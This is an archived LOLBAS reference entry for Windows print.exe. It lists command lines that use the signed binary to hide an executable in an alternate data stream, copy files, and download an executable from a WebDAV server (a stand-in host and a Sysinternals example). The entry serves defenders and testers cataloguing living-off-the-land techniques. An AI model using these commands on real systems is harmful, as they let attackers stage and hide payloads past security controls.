UPDATE BOOKMARKS - PROJECT MOVED TO A DEDICATED PROJECT SITE. THIS SITE WILL NOT BE UPDATED ANYMORE, BUT WILL BE KEPT FOR HISTORICAL REASONS.

December 10, 2018 ยท View on GitHub

New site: https://github.com/LOLBAS-Project/LOLBAS Web portal: https://lolbas-project.github.io/

Print.exe

  • Functions: Download, Copy, Add ADS
print /D:c:\ads\file.txt:file.exe c:\ads\file.exe     
     
print /D:C:\ads\CopyOfFile.exe C:\ads\FileToCopy.exe

print /D:c:\outfolder\outfile.exe \\webdavserver\folder\file.exe     

Acknowledgements:

  • Oddvar Moe - @oddvarmoe

Code sample: *

Resources:

Full path:

c:\windows\system32\print.exe
c:\windows\sysWOW64\print.exe

Notes: Please note for example three: The oufolder needs to exist and the outfile.exe can't exist. Additionally webclient needs to be running

(from an administrator prompt)
net start webclient && print /D:c:\outfolder\outfile.exe \\live.sysinternals.com\tools\adexplorer.exe && net stop webclient